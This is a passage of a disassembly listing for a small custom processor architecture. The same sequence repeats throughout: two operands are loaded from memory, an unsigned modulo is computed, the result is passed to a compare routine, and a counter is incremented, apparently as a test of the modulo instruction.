16e4: 0d 44 75 30 wl16 r9,0x23b0
16e8: 0d 60 01 23 wh16 r9,0x3
16ec: 10 40 01 29 ld32 r9,r9
16f0: 00 a0 01 10 umod r8,r16
16f4: 20 70 03 e2 movepc rret,8
16f8: 14 30 fa 46 br 10 <compare>,#al
16fc: 00 10 00 41 add r2,1
1700: 0d 40 35 1c wl16 r8,0x1bc
1704: 0d 60 01 03 wh16 r8,0x3
1708: 10 40 01 08 ld32 r8,r8
170c: 0d 42 56 18 wl16 r16,0x12b8
1710: 0d 60 02 03 wh16 r16,0x3
1714: 10 40 02 10 ld32 r16,r16
1718: 0d 44 75 34 wl16 r9,0x23b4
171c: 0d 60 01 23 wh16 r9,0x3
1720: 10 40 01 29 ld32 r9,r9
1724: 00 a0 01 10 umod r8,r16
1728: 20 70 03 e2 movepc rret,8
172c: 14 30 fa 39 br 10 <compare>,#al
1730: 00 10 00 41 add r2,1
1734: 0d 40 39 00 wl16 r8,0x1c0
1738: 0d 60 01 03 wh16 r8,0x3
173c: 10 40 01 08 ld32 r8,r8
1740: 0d 42 56 1c wl16 r16,0x12bc
1744: 0d 60 02 03 wh16 r16,0x3
1748: 10 40 02 10 ld32 r16,r16
174c: 0d 44 75 38 wl16 r9,0x23b8
1750: 0d 60 01 23 wh16 r9,0x3
1754: 10 40 01 29 ld32 r9,r9
1758: 00 a0 01 10 umod r8,r16
175c: 20 70 03 e2 movepc rret,8
1760: 14 30 fa 2c br 10 <compare>,#al
1764: 00 10 00 41 add r2,1
1768: 0d 40 39 04 wl16 r8,0x1c4
176c: 0d 60 01 03 wh16 r8,0x3
1770: 10 40 01 08 ld32 r8,r8
1774: 0d 42 5a 00 wl16 r16,0x12c0
1778: 0d 60 02 03 wh16 r16,0x3
177c: 10 40 02 10 ld32 r16,r16
1780: 0d 44 75 3c wl16 r9,0x23bc
1784: 0d 60 01 23 wh16 r9,0x3
1788: 10 40 01 29 ld32 r9,r9
178c: 00 a0 01 10 umod r8,r16
1790: 20 70 03 e2 movepc rret,8
1794: 14 30 fa 1f br 10 <compare>,#al
1798: 00 10 00 41 add r2,1
179c: 0d 40 39 08 wl16 r8,0x1c8
17a0: 0d 60 01 03 wh16 r8,0x3
17a4: 10 40 01 08 ld32 r8,r8
17a8: 0d 42 5a 04 wl16 r16,0x12c4
17ac: 0d 60 02 03 wh16 r16,0x3
17b0: 10 40 02 10 ld32 r16,r16
17b4: 0d 44 79 20 wl16 r9,0x23c0
17b8: 0d 60 01 23 wh16 r9,0x3
17bc: 10 40 01 29 ld32 r9,r9
17c0: 00 a0 01 10 umod r8,r16
17c4: 20 70 03 e2 movepc rret,8
17c8: 14 30 fa 12 br 10 <compare>,#al
17cc: 00 10 00 41 add r2,1
17d0: 0d 40 39 0c wl16 r8,0x1cc
17d4: 0d 60 01 03 wh16 r8,0x3
17d8: 10 40 01 08 ld32 r8,r8
17dc: 0d 42 5a 08 wl16 r16,0x12c8
17e0: 0d 60 02 03 wh16 r16,0x3
17e4: 10 40 02 10 ld32 r16,r16
17e8: 0d 44 79 24 wl16 r9,0x23c4
17ec: 0d 60 01 23 wh16 r9,0x3
17f0: 10 40 01 29 ld32 r9,r9
17f4: 00 a0 01 10 umod r8,r16
17f8: 20 70 03 e2 movepc rret,8
17fc: 14 30 fa 05 br 10 <compare>,#al
1800: 00 10 00 41 add r2,1
1804: 0d 40 39 10 wl16 r8,0x1d0
1808: 0d 60 01 03 wh16 r8,0x3
180c: 10 40 01 08 ld32 r8,r8
1810: 0d 42 5a 0c wl16 r16,0x12cc
1814: 0d 60 02 03 wh16 r16,0x3
1818: 10 40 02 10 ld32 r16,r16
181c: 0d 44 79 28 wl16 r9,0x23c8
1820: 0d 60 01 23 wh16 r9,0x3
1824: 10 40 01 29 ld32 r9,r9
1828: 00 a0 01 10 umod r8,r16
182c: 20 70 03 e2 movepc rret,8
1830: 14 30 f9 f8 br 10 <compare>,#al
1834: 00 10 00 41 add r2,1
1838: 0d 40 39 14 wl16 r8,0x1d4
183c: 0d 60 01 03 wh16 r8,0x3
1840: 10 40 01 08 ld32 r8,r8
1844: 0d 42 5a 10 wl16 r16,0x12d0
1848: 0d 60 02 03 wh16 r16,0x3
184c: 10 40 02 10 ld32 r16,r16
1850: 0d 44 79 2c wl16 r9,0x23cc
1854: 0d 60 01 23 wh16 r9,0x3
1858: 10 40 01 29 ld32 r9,r9
185c: 00 a0 01 10 umod r8,r16
1860: 20 70 03 e2 movepc rret,8
1864: 14 30 f9 eb br 10 <compare>,#al
1868: 00 10 00 41 add r2,1
186c: 0d 40 39 18 wl16 r8,0x1d8
1870: 0d 60 01 03 wh16 r8,0x3
1874: 10 40 01 08 ld32 r8,r8
1878: 0d 42 5a 14 wl16 r16,0x12d4
187c: 0d 60 02 03 wh16 r16,0x3
1880: 10 40 02 10 ld32 r16,r16
1884: 0d 44 79 30 wl16 r9,0x23d0
1888: 0d 60 01 23 wh16 r9,0x3
188c: 10 40 01 29 ld32 r9,r9
1890: 00 a0 01 10 umod r8,r16
1894: 20 70 03 e2 movepc rret,8
1898: 14 30 f9 de br 10 <compare>,#al
189c: 00 10 00 41 add r2,1
18a0: 0d 40 39 1c wl16 r8,0x1dc
18a4: 0d 60 01 03 wh16 r8,0x3
18a8: 10 40 01 08 ld32 r8,r8
18ac: 0d 42 5a 18 wl16 r16,0x12d8
18b0: 0d 60 02 03 wh16 r16,0x3
18b4: 10 40 02 10 ld32 r16,r16
18b8: 0d 44 79 34 wl16 r9,0x23d4
18bc: 0d 60 01 23 wh16 r9,0x3
18c0: 10 40 01 29 ld32 r9,r9
18c4: 00 a0 01 10 umod r8,r16
18c8: 20 70 03 e2 movepc rret,8
18cc: 14 30 f9 d1 br 10 <compare>,#al
18d0: 00 10 00 41 add r2,1
18d4: 0d 40 3d 00 wl16 r8,0x1e0
18d8: 0d 60 01 03 wh16 r8,0x3
18dc: 10 40 01 08 ld32 r8,r8
18e0: 0d 42 5a 1c wl16 r16,0x12dc
18e4: 0d 60 02 03 wh16 r16,0x3
18e8: 10 40 02 10 ld32 r16,r16
18ec: 0d 44 79 38 wl16 r9,0x23d8
18f0: 0d 60 01 23 wh16 r9,0x3
18f4: 10 40 01 29 ld32 r9,r9
18f8: 00 a0 01 10 umod r8,r16
18fc: 20 70 03 e2 movepc rret,8
1900: 14 30 f9 c4 br 10 <compare>,#al
1904: 00 10 00 41 add r2,1
1908: 0d 40 3d 04 wl16 r8,0x1e4
190c: 0d 60 01 03 wh16 r8,0x3
1910: 10 40 01 08 ld32 r8,r8
1914: 0d 42 5e 00 wl16 r16,0x12e0
1918: 0d 60 02 03 wh16 r16,0x3
191c: 10 40 02 10 ld32 r16,r16
1920: 0d 44 79 3c wl16 r9,0x23dc
1924: 0d 60 01 23 wh16 r9,0x3
1928: 10 40 01 29 ld32 r9,r9
192c: 00 a0 01 10 umod r8,r16
1930: 20 70 03 e2 movepc rret,8
1934: 14 30 f9 b7 br 10 <compare>,#al
1938: 00 10 00 41 add r2,1
193c: 0d 40 3d 08 wl16 r8,0x1e8
1940: 0d 60 01 03 wh16 r8,0x3
1944: 10 40 01 08 ld32 r8,r8
1948: 0d 42 5e 04 wl16 r16,0x12e4
194c: 0d 60 02 03 wh16 r16,0x3
1950: 10 40 02 10 ld32 r16,r16
1954: 0d 44 7d 20 wl16 r9,0x23e0
1958: 0d 60 01 23 wh16 r9,0x3
195c: 10 40 01 29 ld32 r9,r9
1960: 00 a0 01 10 umod r8,r16
1964: 20 70 03 e2 movepc rret,8
1968: 14 30 f9 aa br 10 <compare>,#al
196c: 00 10 00 41 add r2,1
1970: 0d 40 3d 0c wl16 r8,0x1ec
1974: 0d 60 01 03 wh16 r8,0x3
1978: 10 40 01 08 ld32 r8,r8
197c: 0d 42 5e 08 wl16 r16,0x12e8
1980: 0d 60 02 03 wh16 r16,0x3
1984: 10 40 02 10 ld32 r16,r16
1988: 0d 44 7d 24 wl16 r9,0x23e4
198c: 0d 60 01 23 wh16 r9,0x3
1990: 10 40 01 29 ld32 r9,r9
1994: 00 a0 01 10 umod r8,r16
1998: 20 70 03 e2 movepc rret,8
199c: 14 30 f9 9d br 10 <compare>,#al
19a0: 00 10 00 41 add r2,1
19a4: 0d 40 3d 10 wl16 r8,0x1f0
19a8: 0d 60 01 03 wh16 r8,0x3
19ac: 10 40 01 08 ld32 r8,r8
19b0: 0d 42 5e 0c wl16 r16,0x12ec
19b4: 0d 60 02 03 wh16 r16,0x3
19b8: 10 40 02 10 ld32 r16,r16
19bc: 0d 44 7d 28 wl16 r9,0x23e8
19c0: 0d 60 01 23 wh16 r9,0x3
19c4: 10 40 01 29 ld32 r9,r9
19c8: 00 a0 01 10 umod r8,r16
19cc: 20 70 03 e2 movepc rret,8
19d0: 14 30 f9 90 br 10 <compare>,#al
19d4: 00 10 00 41 add r2,1
19d8: 0d 40 3d 14 wl16 r8,0x1f4
19dc: 0d 60 01 03 wh16 r8,0x3
19e0: 10 40 01 08 ld32 r8,r8
19e4: 0d 42 5e 10 wl16 r16,0x12f0
19e8: 0d 60 02 03 wh16 r16,0x3
19ec: 10 40 02 10 ld32 r16,r16
19f0: 0d 44 7d 2c wl16 r9,0x23ec
19f4: 0d 60 01 23 wh16 r9,0x3
19f8: 10 40 01 29 ld32 r9,r9
19fc: 00 a0 01 10 umod r8,r16
1a00: 20 70 03 e2 movepc rret,8
1a04: 14 30 f9 83 br 10 <compare>,#al
1a08: 00 10 00 41 add r2,1
1a0c: 0d 40 3d 18 wl16 r8,0x1f8
1a10: 0d 60 01 03 wh16 r8,0x3
1a14: 10 40 01 08 ld32 r8,r8
1a18: 0d 42 5e 14 wl16 r16,0x12f4
1a1c: 0d 60 02 03 wh16 r16,0x3
1a20: 10 40 02 10 ld32 r16,r16
1a24: 0d 44 7d 30 wl16 r9,0x23f0
1a28: 0d 60 01 23 wh16 r9,0x3
1a2c: 10 40 01 29 ld32 r9,r9
1a30: 00 a0 01 10 umod r8,r16
1a34: 20 70 03 e2 movepc rret,8
1a38: 14 30 f9 76 br 10 <compare>,#al
1a3c: 00 10 00 41 add r2,1
1a40: 0d 40 3d 1c wl16 r8,0x1fc
1a44: 0d 60 01 03 wh16 r8,0x3
1a48: 10 40 01 08 ld32 r8,r8
1a4c: 0d 42 5e 18 wl16 r16,0x12f8
1a50: 0d 60 02 03 wh16 r16,0x3
1a54: 10 40 02 10 ld32 r16,r16
1a58: 0d 44 7d 34 wl16 r9,0x23f4
1a5c: 0d 60 01 23 wh16 r9,0x3
1a60: 10 40 01 29 ld32 r9,r9
1a64: 00 a0 01 10 umod r8,r16
1a68: 20 70 03 e2 movepc rret,8
1a6c: 14 30 f9 69 br 10 <compare>,#al
1a70: 00 10 00 41 add r2,1
1a74: 0d 40 41 00 wl16 r8,0x200
1a78: 0d 60 01 03 wh16 r8,0x3
1a7c: 10 40 01 08 ld32 r8,r8
1a80: 0d 42 5e 1c wl16 r16,0x12fc
1a84: 0d 60 02 03 wh16 r16,0x3
1a88: 10 40 02 10 ld32 r16,r16
1a8c: 0d 44 7d 38 wl16 r9,0x23f8
1a90: 0d 60 01 23 wh16 r9,0x3
1a94: 10 40 01 29 ld32 r9,r9
1a98: 00 a0 01 10 umod r8,r16
1a9c: 20 70 03 e2 movepc rret,8
1aa0: 14 30 f9 5c br 10 <compare>,#al
1aa4: 00 10 00 41 add r2,1
1aa8: 0d 40 41 04 wl16 r8,0x204
1aac: 0d 60 01 03 wh16 r8,0x3
1ab0: 10 40 01 08 ld32 r8,r8
1ab4: 0d 42 62 00 wl16 r16,0x1300
1ab8: 0d 60 02 03 wh16 r16,0x3
1abc: 10 40 02 10 ld32 r16,r16
1ac0: 0d 44 7d 3c wl16 r9,0x23fc
1ac4: 0d 60 01 23 wh16 r9,0x3
1ac8: 10 40 01 29 ld32 r9,r9
1acc: 00 a0 01 10 umod r8,r16
1ad0: 20 70 03 e2 movepc rret,8
1ad4: 14 30 f9 4f br 10 <compare>,#al
1ad8: 00 10 00 41 add r2,1
1adc: 0d 40 41 08 wl16 r8,0x208
1ae0: 0d 60 01 03 wh16 r8,0x3
1ae4: 10 40 01 08 ld32 r8,r8
1ae8: 0d 42 62 04 wl16 r16,0x1304
1aec: 0d 60 02 03 wh16 r16,0x3
1af0: 10 40 02 10 ld32 r16,r16
1af4: 0d 44 81 20 wl16 r9,0x2400
1af8: 0d 60 01 23 wh16 r9,0x3
1afc: 10 40 01 29 ld32 r9,r9
1b00: 00 a0 01 10 umod r8,r16
1b04: 20 70 03 e2 movepc rret,8
1b08: 14 30 f9 42 br 10 <compare>,#al
1b0c: 00 10 00 41 add r2,1
1b10: 0d 40 41 0c wl16 r8,0x20c
1b14: 0d 60 01 03 wh16 r8,0x3
1b18: 10 40 01 08 ld32 r8,r8
1b1c: 0d 42 62 08 wl16 r16,0x1308
1b20: 0d 60 02 03 wh16 r16,0x3
1b24: 10 40 02 10 ld32 r16,r16
1b28: 0d 44 81 24 wl16 r9,0x2404
1b2c: 0d 60 01 23 wh16 r9,0x3
1b30: 10 40 01 29 ld32 r9,r9
1b34: 00 a0 01 10 umod r8,r16
1b38: 20 70 03 e2 movepc rret,8
1b3c: 14 30 f9 35 br 10 <compare>,#al
1b40: 00 10 00 41 add r2,1
1b44: 0d 40 41 10 wl16 r8,0x210
1b48: 0d 60 01 03 wh16 r8,0x3
1b4c: 10 40 01 08 ld32 r8,r8
1b50: 0d 42 62 0c wl16 r16,0x130c
1b54: 0d 60 02 03 wh16 r16,0x3
1b58: 10 40 02 10 ld32 r16,r16
1b5c: 0d 44 81 28 wl16 r9,0x2408
1b60: 0d 60 01 23 wh16 r9,0x3
1b64: 10 40 01 29 ld32 r9,r9
1b68: 00 a0 01 10 umod r8,r16
1b6c: 20 70 03 e2 movepc rret,8
1b70: 14 30 f9 28 br 10 <compare>,#al
1b74: 00 10 00 41 add r2,1
1b78: 0d 40 41 14 wl16 r8,0x214
1b7c: 0d 60 01 03 wh16 r8,0x3
1b80: 10 40 01 08 ld32 r8,r8
1b84: 0d 42 62 10 wl16 r16,0x1310
1b88: 0d 60 02 03 wh16 r16,0x3
1b8c: 10 40 02 10 ld32 r16,r16
1b90: 0d 44 81 2c wl16 r9,0x240c
1b94: 0d 60 01 23 wh16 r9,0x3
1b98: 10 40 01 29 ld32 r9,r9
1b9c: 00 a0 01 10 umod r8,r16
1ba0: 20 70 03 e2 movepc rret,8
1ba4: 14 30 f9 1b br 10 <compare>,#al
1ba8: 00 10 00 41 add r2,1
1bac: 0d 40 41 18 wl16 r8,0x218
1bb0: 0d 60 01 03 wh16 r8,0x3
1bb4: 10 40 01 08 ld32 r8,r8
1bb8: 0d 42 62 14 wl16 r16,0x1314
1bbc: 0d 60 02 03 wh16 r16,0x3
1bc0: 10 40 02 10 ld32 r16,r16
1bc4: 0d 44 81 30 wl16 r9,0x2410
1bc8: 0d 60 01 23 wh16 r9,0x3
1bcc: 10 40 01 29 ld32 r9,r9
1bd0: 00 a0 01 10 umod r8,r16
1bd4: 20 70 03 e2 movepc rret,8
1bd8: 14 30 f9 0e br 10 <compare>,#al
1bdc: 00 10 00 41 add r2,1
1be0: 0d 40 41 1c wl16 r8,0x21c
1be4: 0d 60 01 03 wh16 r8,0x3
1be8: 10 40 01 08 ld32 r8,r8
1bec: 0d 42 62 18 wl16 r16,0x1318
1bf0: 0d 60 02 03 wh16 r16,0x3
1bf4: 10 40 02 10 ld32 r16,r16
1bf8: 0d 44 81 34 wl16 r9,0x2414
1bfc: 0d 60 01 23 wh16 r9,0x3
1c00: 10 40 01 29 ld32 r9,r9
1c04: 00 a0 01 10 umod r8,r16
1c08: 20 70 03 e2 movepc rret,8
1c0c: 14 30 f9 01 br 10 <compare>,#al
1c10: 00 10 00 41 add r2,1
1c14: 0d 40 45 00 wl16 r8,0x220
1c18: 0d 60 01 03 wh16 r8,0x3
1c1c: 10 40 01 08 ld32 r8,r8
1c20: 0d 42 62 1c wl16 r16,0x131c
1c24: 0d 60 02 03 wh16 r16,0x3
1c28: 10 40 02 10 ld32 r16,r16
1c2c: 0d 44 81 38 wl16 r9,0x2418
1c30: 0d 60 01 23 wh16 r9,0x3
1c34: 10 40 01 29 ld32 r9,r9
1c38: 00 a0 01 10 umod r8,r16
1c3c: 20 70 03 e2 movepc rret,8
1c40: 14 30 f8 f4 br 10 <compare>,#al
1c44: 00 10 00 41 add r2,1
1c48: 0d 40 45 04 wl16 r8,0x224
1c4c: 0d 60 01 03 wh16 r8,0x3
1c50: 10 40 01 08 ld32 r8,r8
1c54: 0d 42 66 00 wl16 r16,0x1320
1c58: 0d 60 02 03 wh16 r16,0x3
1c5c: 10 40 02 10 ld32 r16,r16
1c60: 0d 44 81 3c wl16 r9,0x241c
1c64: 0d 60 01 23 wh16 r9,0x3
1c68: 10 40 01 29 ld32 r9,r9
1c6c: 00 a0 01 10 umod r8,r16
1c70: 20 70 03 e2 movepc rret,8
1c74: 14 30 f8 e7 br 10 <compare>,#al
1c78: 00 10 00 41 add r2,1
1c7c: 0d 40 45 08 wl16 r8,0x228
1c80: 0d 60 01 03 wh16 r8,0x3
1c84: 10 40 01 08 ld32 r8,r8
1c88: 0d 42 66 04 wl16 r16,0x1324
1c8c: 0d 60 02 03 wh16 r16,0x3
1c90: 10 40 02 10 ld32 r16,r16
1c94: 0d 44 85 20 wl16 r9,0x2420
1c98: 0d 60 01 23 wh16 r9,0x3
1c9c: 10 40 01 29 ld32 r9,r9
1ca0: 00 a0 01 10 umod r8,r16
1ca4: 20 70 03 e2 movepc rret,8
1ca8: 14 30 f8 da br 10 <compare>,#al
1cac: 00 10 00 41 add r2,1
1cb0: 0d 40 45 0c wl16 r8,0x22c
1cb4: 0d 60 01 03 wh16 r8,0x3
1cb8: 10 40 01 08 ld32 r8,r8
1cbc: 0d 42 66 08 wl16 r16,0x1328
1cc0: 0d 60 02 03 wh16 r16,0x3
1cc4: 10 40 02 10 ld32 r16,r16
1cc8: 0d 44 85 24 wl16 r9,0x2424
1ccc: 0d 60 01 23 wh16 r9,0x3
1cd0: 10 40 01 29 ld32 r9,r9
1cd4: 00 a0 01 10 umod r8,r16
1cd8: 20 70 03 e2 movepc rret,8
1cdc: 14 30 f8 cd br 10 <compare>,#al
1ce0: 00 10 00 41 add r2,1
1ce4: 0d 40 45 10 wl16 r8,0x230
1ce8: 0d 60 01 03 wh16 r8,0x3
1cec: 10 40 01 08 ld32 r8,r8
1cf0: 0d 42 66 0c wl16 r16,0x132c
1cf4: 0d 60 02 03 wh16 r16,0x3
1cf8: 10 40 02 10 ld32 r16,r16
1cfc: 0d 44 85 28 wl16 r9,0x2428
1d00: 0d 60 01 23 wh16 r9,0x3
1d04: 10 40 01 29 ld32 r9,r9
1d08: 00 a0 01 10 umod r8,r16
1d0c: 20 70 03 e2 movepc rret,8
1d10: 14 30 f8 c0 br 10 <compare>,#al
1d14: 00 10 00 41 add r2,1
1d18: 0d 40 45 14 wl16 r8,0x234
1d1c: 0d 60 01 03 wh16 r8,0x3
1d20: 10 40 01 08 ld32 r8,r8
1d24: 0d 42 66 10 wl16 r16,0x1330
1d28: 0d 60 02 03 wh16 r16,0x3
1d2c: 10 40 02 10 ld32 r16,r16
1d30: 0d 44 85 2c wl16 r9,0x242c
1d34: 0d 60 01 23 wh16 r9,0x3
1d38: 10 40 01 29 ld32 r9,r9
1d3c: 00 a0 01 10 umod r8,r16
1d40: 20 70 03 e2 movepc rret,8
1d44: 14 30 f8 b3 br 10 <compare>,#al
1d48: 00 10 00 41 add r2,1
1d4c: 0d 40 45 18 wl16 r8,0x238
1d50: 0d 60 01 03 wh16 r8,0x3
1d54: 10 40 01 08 ld32 r8,r8
1d58: 0d 42 66 14 wl16 r16,0x1334
1d5c: 0d 60 02 03 wh16 r16,0x3
1d60: 10 40 02 10 ld32 r16,r16
1d64: 0d 44 85 30 wl16 r9,0x2430
1d68: 0d 60 01 23 wh16 r9,0x3
1d6c: 10 40 01 29 ld32 r9,r9
1d70: 00 a0 01 10 umod r8,r16
1d74: 20 70 03 e2 movepc rret,8
1d78: 14 30 f8 a6 br 10 <compare>,#al
1d7c: 00 10 00 41 add r2,1
1d80: 0d 40 45 1c wl16 r8,0x23c
1d84: 0d 60 01 03 wh16 r8,0x3
1d88: 10 40 01 08 ld32 r8,r8
1d8c: 0d 42 66 18 wl16 r16,0x1338
1d90: 0d 60 02 03 wh16 r16,0x3
1d94: 10 40 02 10 ld32 r16,r16
1d98: 0d 44 85 34 wl16 r9,0x2434
1d9c: 0d 60 01 23 wh16 r9,0x3
1da0: 10 40 01 29 ld32 r9,r9
1da4: 00 a0 01 10 umod r8,r16
1da8: 20 70 03 e2 movepc rret,8
1dac: 14 30 f8 99 br 10 <compare>,#al
1db0: 00 10 00 41 add r2,1
1db4: 0d 40 49 00 wl16 r8,0x240
1db8: 0d 60 01 03 wh16 r8,0x3
1dbc: 10 40 01 08 ld32 r8,r8
1dc0: 0d 42 66 1c wl16 r16,0x133c
1dc4: 0d 60 02 03 wh16 r16,0x3
1dc8: 10 40 02 10 ld32 r16,r16
1dcc: 0d 44 85 38 wl16 r9,0x2438
1dd0: 0d 60 01 23 wh16 r9,0x3
1dd4: 10 40 01 29 ld32 r9,r9
1dd8: 00 a0 01 10 umod r8,r16
1ddc: 20 70 03 e2 movepc rret,8
1de0: 14 30 f8 8c br 10 <compare>,#al
1de4: 00 10 00 41 add r2,1
1de8: 0d 40 49 04 wl16 r8,0x244
1dec: 0d 60 01 03 wh16 r8,0x3
1df0: 10 40 01 08 ld32 r8,r8
1df4: 0d 42 6a 00 wl16 r16,0x1340
1df8: 0d 60 02 03 wh16 r16,0x3
1dfc: 10 40 02 10 ld32 r16,r16
1e00: 0d 44 85 3c wl16 r9,0x243c
1e04: 0d 60 01 23 wh16 r9,0x3
1e08: 10 40 01 29 ld32 r9,r9
1e0c: 00 a0 01 10 umod r8,r16
1e10: 20 70 03 e2 movepc rret,8
1e14: 14 30 f8 7f br 10 <compare>,#al
1e18: 00 10 00 41 add r2,1
1e1c: 0d 40 49 08 wl16 r8,0x248
1e20: 0d 60 01 03 wh16 r8,0x3
1e24: 10 40 01 08 ld32 r8,r8
1e28: 0d 42 6a 04 wl16 r16,0x1344
1e2c: 0d 60 02 03 wh16 r16,0x3
1e30: 10 40 02 10 ld32 r16,r16
1e34: 0d 44 89 20 wl16 r9,0x2440
1e38: 0d 60 01 23 wh16 r9,0x3
1e3c: 10 40 01 29 ld32 r9,r9
1e40: 00 a0 01 10 umod r8,r16
1e44: 20 70 03 e2 movepc rret,8
1e48: 14 30 f8 72 br 10 <compare>,#al
1e4c: 00 10 00 41 add r2,1
1e50: 0d 40 49 0c wl16 r8,0x24c
1e54: 0d 60 01 03 wh16 r8,0x3
1e58: 10 40 01 08 ld32 r8,r8
1e5c: 0d 42 6a 08 wl16 r16,0x1348
1e60: 0d 60 02 03 wh16 r16,0x3
1e64: 10 40 02 10 ld32 r16,r16
1e68: 0d 44 89 24 wl16 r9,0x2444
1e6c: 0d 60 01 23 wh16 r9,0x3
1e70: 10 40 01 29 ld32 r9,r9
1e74: 00 a0 01 10 umod r8,r16
1e78: 20 70 03 e2 movepc rret,8
1e7c: 14 30 f8 65 br 10 <compare>,#al
1e80: 00 10 00 41 add r2,1
1e84: 0d 40 49 10 wl16 r8,0x250
1e88: 0d 60 01 03 wh16 r8,0x3
1e8c: 10 40 01 08 ld32 r8,r8
1e90: 0d 42 6a 0c wl16 r16,0x134c
1e94: 0d 60 02 03 wh16 r16,0x3
1e98: 10 40 02 10 ld32 r16,r16
1e9c: 0d 44 89 28 wl16 r9,0x2448
1ea0: 0d 60 01 23 wh16 r9,0x3
1ea4: 10 40 01 29 ld32 r9,r9
1ea8: 00 a0 01 10 umod r8,r16
1eac: 20 70 03 e2 movepc rret,8
1eb0: 14 30 f8 58 br 10 <compare>,#al
1eb4: 00 10 00 41 add r2,1
1eb8: 0d 40 49 14 wl16 r8,0x254
1ebc: 0d 60 01 03 wh16 r8,0x3
1ec0: 10 40 01 08 ld32 r8,r8
1ec4: 0d 42 6a 10 wl16 r16,0x1350
1ec8: 0d 60 02 03 wh16 r16,0x3
1ecc: 10 40 02 10 ld32 r16,r16
1ed0: 0d 44 89 2c wl16 r9,0x244c
1ed4: 0d 60 01 23 wh16 r9,0x3
1ed8: 10 40 01 29 ld32 r9,r9
1edc: 00 a0 01 10 umod r8,r16
1ee0: 20 70 03 e2 movepc rret,8
1ee4: 14 30 f8 4b br 10 <compare>,#al
1ee8: 00 10 00 41 add r2,1
1eec: 0d 40 49 18 wl16 r8,0x258
1ef0: 0d 60 01 03 wh16 r8,0x3
1ef4: 10 40 01 08 ld32 r8,r8
1ef8: 0d 42 6a 14 wl16 r16,0x1354
1efc: 0d 60 02 03 wh16 r16,0x3
1f00: 10 40 02 10 ld32 r16,r16
1f04: 0d 44 89 30 wl16 r9,0x2450
1f08: 0d 60 01 23 wh16 r9,0x3
1f0c: 10 40 01 29 ld32 r9,r9
1f10: 00 a0 01 10 umod r8,r16
1f14: 20 70 03 e2 movepc rret,8
1f18: 14 30 f8 3e br 10 <compare>,#al
1f1c: 00 10 00 41 add r2,1
1f20: 0d 40 49 1c wl16 r8,0x25c
1f24: 0d 60 01 03 wh16 r8,0x3
1f28: 10 40 01 08 ld32 r8,r8
1f2c: 0d 42 6a 18 wl16 r16,0x1358
1f30: 0d 60 02 03 wh16 r16,0x3
1f34: 10 40 02 10 ld32 r16,r16
1f38: 0d 44 89 34 wl16 r9,0x2454
1f3c: 0d 60 01 23 wh16 r9,0x3
1f40: 10 40 01 29 ld32 r9,r9
1f44: 00 a0 01 10 umod r8,r16
1f48: 20 70 03 e2 movepc rret,8
1f4c: 14 30 f8 31 br 10 <compare>,#al
1f50: 00 10 00 41 add r2,1
1f54: 0d 40 4d 00 wl16 r8,0x260
1f58: 0d 60 01 03 wh16 r8,0x3
1f5c: 10 40 01 08 ld32 r8,r8
1f60: 0d 42 6a 1c wl16 r16,0x135c
1f64: 0d 60 02 03 wh16 r16,0x3
1f68: 10 40 02 10 ld32 r16,r16
1f6c: 0d 44 89 38 wl16 r9,0x2458
1f70: 0d 60 01 23 wh16 r9,0x3
1f74: 10 40 01 29 ld32 r9,r9
1f78: 00 a0 01 10 umod r8,r16
1f7c: 20 70 03 e2 movepc rret,8
1f80: 14 30 f8 24 br 10 <compare>,#al
1f84: 00 10 00 41 add r2,1
1f88: 0d 40 4d 04 wl16 r8,0x264
1f8c: 0d 60 01 03 wh16 r8,0x3
1f90: 10 40 01 08 ld32 r8,r8
1f94: 0d 42 6e 00 wl16 r16,0x1360
1f98: 0d 60 02 03 wh16 r16,0x3
1f9c: 10 40 02 10 ld32 r16,r16
1fa0: 0d 44 89 3c wl16 r9,0x245c
1fa4: 0d 60 01 23 wh16 r9,0x3
1fa8: 10 40 01 29 ld32 r9,r9
1fac: 00 a0 01 10 umod r8,r16
1fb0: 20 70 03 e2 movepc rret,8
1fb4: 14 30 f8 17 br 10 <compare>,#al
1fb8: 00 10 00 41 add r2,1
1fbc: 0d 40 4d 08 wl16 r8,0x268
1fc0: 0d 60 01 03 wh16 r8,0x3
1fc4: 10 40 01 08 ld32 r8,r8
1fc8: 0d 42 6e 04 wl16 r16,0x1364
1fcc: 0d 60 02 03 wh16 r16,0x3
1fd0: 10 40 02 10 ld32 r16,r16
1fd4: 0d 44 8d 20 wl16 r9,0x2460
1fd8: 0d 60 01 23 wh16 r9,0x3
1fdc: 10 40 01 29 ld32 r9,r9
1fe0: 00 a0 01 10 umod r8,r16
1fe4: 20 70 03 e2 movepc rret,8
1fe8: 14 30 f8 0a br 10 <compare>,#al
1fec: 00 10 00 41 add r2,1
1ff0: 0d 40 4d 0c wl16 r8,0x26c
1ff4: 0d 60 01 03 wh16 r8,0x3
1ff8: 10 40 01 08 ld32 r8,r8
1ffc: 0d 42 6e 08 wl16 r16,0x1368
2000: 0d 60 02 03 wh16 r16,0x3
2004: 10 40 02 10 ld32 r16,r16
2008: 0d 44 8d 24 wl16 r9,0x2464
200c: 0d 60 01 23 wh16 r9,0x3
2010: 10 40 01 29 ld32 r9,r9
2014: 00 a0 01 10 umod r8,r16
2018: 20 70 03 e2 movepc rret,8
201c: 14 30 f7 fd br 10 <compare>,#al
2020: 00 10 00 41 add r2,1
2024: 0d 40 4d 10 wl16 r8,0x270
2028: 0d 60 01 03 wh16 r8,0x3
202c: 10 40 01 08 ld32 r8,r8
2030: 0d 42 6e 0c wl16 r16,0x136c
2034: 0d 60 02 03 wh16 r16,0x3
2038: 10 40 02 10 ld32 r16,r16
203c: 0d 44 8d 28 wl16 r9,0x2468
2040: 0d 60 01 23 wh16 r9,0x3
2044: 10 40 01 29 ld32 r9,r9
2048: 00 a0 01 10 umod r8,r16
204c: 20 70 03 e2 movepc rret,8
2050: 14 30 f7 f0 br 10 <compare>,#al
2054: 00 10 00 41 add r2,1
2058: 0d 40 4d 14 wl16 r8,0x274
205c: 0d 60 01 03 wh16 r8,0x3
2060: 10 40 01 08 ld32 r8,r8
2064: 0d 42 6e 10 wl16 r16,0x1370
2068: 0d 60 02 03 wh16 r16,0x3
206c: 10 40 02 10 ld32 r16,r16
2070: 0d 44 8d 2c wl16 r9,0x246c
2074: 0d 60 01 23 wh16 r9,0x3
2078: 10 40 01 29 ld32 r9,r9
207c: 00 a0 01 10 umod r8,r16
2080: 20 70 03 e2 movepc rret,8
2084: 14 30 f7 e3 br 10 <compare>,#al
2088: 00 10 00 41 add r2,1
208c: 0d 40 4d 18 wl16 r8,0x278
2090: 0d 60 01 03 wh16 r8,0x3
2094: 10 40 01 08 ld32 r8,r8
2098: 0d 42 6e 14 wl16 r16,0x1374
